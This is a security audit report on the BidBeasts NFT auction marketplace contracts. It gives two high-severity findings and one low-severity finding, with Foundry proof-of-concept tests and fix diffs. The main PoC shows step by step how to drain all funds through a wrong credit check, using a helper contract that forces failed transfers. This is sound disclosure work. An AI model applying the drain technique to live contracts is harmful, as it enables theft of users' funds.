Bid Beasts Audit Report

Version 1.0

0xicelatte

October 16, 2025

Bid Beasts Audit Report

0xicelatte

October 16, 2025

Prepared by: 0xicelatte

Lead Security Researcher: 0xicelatte

Table of Contents

Protocol Summary

"This smart contract implements a basic auction-based NFT marketplace for the BidBeasts ERC721 token. It enables NFT owners to list their tokens for auction, accept bids from participants, and settle auctions with a platform fee mechanism."

- README.md

Disclaimer

The 0xicelatte team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
449341c55a57d3f078d1250051a7b34625d3aa04
```

Scope

```
lib/
src/
#-- BidBeasts_NFT_ERC721.sol
#-- BidBeastsNFTMarketPlace.sol
```

Roles

- Seller: Owns NFT and lists them for sale, collects money if sold
- Bidder: Bids on NFTs, pays money if auction is won
- Contract Owner: Owns the auction contract, collects platform fees

Executive Summary

- I spent approximately 2 days on this audit and found 3 different confirmed issues.
- While my [H-1] was accepted as the underlying issue was the same, it differs slightly from their official report. The official report focuses on stealing failed transfer credits and only mentions the potential draining of the protocol. I prove the exact steps to drain the entire protocol.

Issues found

Severity	Number of issues found
High	2
Medium	0
Low	1
Info	0
Total	3

Findings

High

[H-1] Wrong check in `BidBeastsNFTMarketPlace::withdrawAllFailedCredits` allows theft of all funds in market

Description: Under normal circumstances, users should only be allowed to withdraw their own failed credits

`BidBeastsNFTMarketPlace::withdrawAllFailedCredits` checks the failed transfer credits of the `_receiver` but updates the failed transfer credits of the `msg.sender`. This allows `_receiver` to always have failed credits if the `msg.sender` is different which then allows an attacker to repeatedly call `BidBeastsNFTMarketPlace::withdrawAllFailedCredits` until all funds are gone.

```
    function withdrawAllFailedCredits(address _receiver) external {
&>      uint256 amount = failedTransferCredits[_receiver];
        require(amount > 0, "No credits to withdraw");

&>      failedTransferCredits[msg.sender] = 0;

&>      (bool success, ) = payable(msg.sender).call{value: amount}("");
        require(success, "Withdraw failed");
    }
```

Likelihood: High likelihood as there is direct financial incentive to steal all user funds and the attacker can force failed credits to happen by using a bad contract

Impact: Direct loss of all funds in market. This includes all user funds in current bids, all failed to transfer credits and all accumulated fees.

Proof of Concept

Place the following into `BidBeastsMarketPlaceTest.t.sol`.

```
    function _listNFT(uint256 _tokenID) internal {
        vm.startPrank(SELLER);
        nft.approve(address(market), _tokenID);
        market.listNFT(_tokenID, MIN_PRICE, BUY_NOW_PRICE);
        vm.stopPrank();
    }

    function testStealAllFunds() public {
        // step 1: mint and list 2 NFTs
        _mintNFT();
        _mintNFT();
```

```
        _listNFT();
        _listNFT(1);

        // step 2: legitimate bid on first NFT
        vm.prank(BIDDER_1);
        market.placeBid{value: MIN_PRICE}(TOKEN_ID);

        // step 3: attacker bids on second NFT using BadContract
        BadContract bc = new BadContract{value: 1 ether}(market, nft);
        bc.bid();

        // step 4: attacker creates failed transfer credits by bidding again
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 2 ether);
        vm.prank(attacker);
        market.placeBid{value: 2 ether}(1);

        // balance of market is 4 ether: 1 ether from from BIDDER_1 bid, 1 ether failed transfer credit from BadContract and 2 ether bid from attacker
        assertEq(4 ether, address(market).balance, "Unexpected market ether balance");
        assertEq(0, attacker.balance, "Unexpected attacker ether balance");

        // step 5: attacker leverages failed credits to drain market
        vm.startPrank(attacker);
        for (uint i = 0; i < 4; i++) {
            market.withdrawAllFailedCredits(address(bc));
        }
        assertEq(0, address(market).balance, "Unexpected market balance after attack");
        assertEq(4 ether, attacker.balance, "Unexpected attacker balance after attack");
    }

...
}

contract BadContract {
    BidBeastsNFTMarket market;
    BidBeasts nft;
    uint256 public constant TOKEN_ID = 1;
    uint256 public constant MIN_PRICE = 1 ether;

    constructor(BidBeastsNFTMarket _market, BidBeasts _nft) payable {
        market = _market;
        nft = _nft;
    }

```

```
56      function bid() external {
57          market.placeBid{value: MIN_PRICE}(TOKEN_ID);
58      }
59
60      // no receive or fallback function to ensure failed credits are
            created
61  }
```

Recommended Mitigation

1. Verify that `msg.sender` has failed transfer credits, not `_receiver`
2. Send failed credits to `_receiver`, not `msg.sender`

```
1       function withdrawAllFailedCredits(address _receiver) external {
2   -       uint256 amount = failedTransferCredits[_receiver];
3   +       uint256 amount = failedTransferCredits[msg.sender];
4           require(amount > 0, "No credits to withdraw");
5
6           failedTransferCredits[msg.sender] = 0;
7
8   -       (bool success, ) = payable(msg.sender).call{value: amount}("");
9   +       (bool success, ) = payable(_receiver).call{value: amount}("");
10          require(success, "Withdraw failed");
11      }
```

[H-2] Missing owner check allows anyone to burn any NFT

Description: Under normal circumstances, only the owner of an NFT should be able to burn their NFT

Currently there are no restrictions on who can burn what NFT in `BidBeasts_NFT_ERC721::burn`, allowing any and all NFTs to be burned by any user

```
1   &>  function burn(uint256 _tokenId) public {
2           _burn(_tokenId);
3           emit BidBeastsBurn(msg.sender, _tokenId);
4       }
```

Likelihood: High likelihood as the attack is simple to execute and high impact

Impact: Nobody can own NFTs as they'll just be burned by someone else

- The main protocol functionality, an NFT marketplace, is stopped as there are no NFTs to trade
- If someone does manage to buy an NFT, they'll loose any money they spent as someone can burn the NFT after purchase

Proof of Concept

Place the following into `BidBeastsMarketPlaceTest.t.sol`.

```
contract FestivalPassTest is Test {
...
    function testAnyoneCanBurn() public {
        _mintNFT();
        _listNFT();
        assertEq(nft.ownerOf(TOKEN_ID), address(market), "NFT should be
            held by the market");

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        nft.burn(TOKEN_ID);
        vm.stopPrank();
    }
```

Recommended Mitigation: To prevent this, add an `onlyOwner` check to `BidBeasts_NFT_ERC721::burn`.

```
- function burn(uint256 _tokenId) public {
+ function burn(uint256 _tokenId) public onlyOwner {
```

Low

[L-1] Wrong equality check on `minPrice` causes initial bids in `BidBeastsNFTMarketPlace::placeBid` to fail

Description: Normally an initial bid should be equal to or greater than the minimum price

Currently, initial bids have to be greater than the minimum price

```
    function placeBid(uint256 tokenId) external payable isListed(
        tokenId) {
...
        if (previousBidAmount == 0) {

            requiredAmount = listing.minPrice;
&>          require(msg.value > requiredAmount, "First bid must be >
    min price");
```

Likelihood: This will occur when the initial bid is exactly equal to the minimum price. Since bidders are financially incentivized to spend as little as possible, this will occur often

Impact: Initial bids must be greater than the minimum price, causing very small financial impact to the first bidder

- Core functionality is not impacted, as bidding still works except this specific bid at this specific point in the bidding process

Proof of Concept

Place the following into `BidBeastsMarketPlaceTest.t.sol`.

```
    function testMinBid() public {
        _mintNFT();
        _listNFT();

        vm.prank(BIDDER_1);
        vm.expectRevert();
        market.placeBid{value: MIN_PRICE}(TOKEN_ID);
    }
```

Recommended Mitigation:

```
- require(msg.value > requiredAmount, "First bid must be > min price");
+ require(msg.value >= requiredAmount, "First bid must be >= min price"
    );
```